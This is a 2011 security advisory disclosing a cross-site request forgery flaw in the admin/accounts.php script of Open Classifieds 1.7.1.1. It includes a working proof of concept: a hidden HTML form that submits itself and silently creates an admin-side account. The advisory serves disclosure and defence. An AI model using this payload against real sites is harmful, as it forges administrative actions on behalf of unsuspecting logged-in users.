Open Classifieds version 1.7.1.1 suffers from a cross site request forgery vulnerability.
2435a57f2dcd851df6c6c135dae0060f22f8015fa5f2d9a2e1c984876cb84c5f
Vulnerability ID: HTB22980
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_open_classifieds.html
Product: Open Classifieds
Vendor: Open Classifieds Team ( http://www.open-classifieds.com/ )
Vulnerable Version: 1.7.1.1 and probably prior versions
Vendor Notification: 28 April 2011
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )
Vulnerability Details:
The vulnerability exists due to failure in the "admin/accounts.php" script to properly verify the source of HTTP request.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
Attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/admin/accounts.php" method="post" name="main">
<input type="hidden" name="name" value="myaccount">
<input type="hidden" name="email" value="email@example.com">
<input type="hidden" name="account" value="">
<input type="hidden" name="action" value="new">
</form>
<script>
document.main.submit();
</script>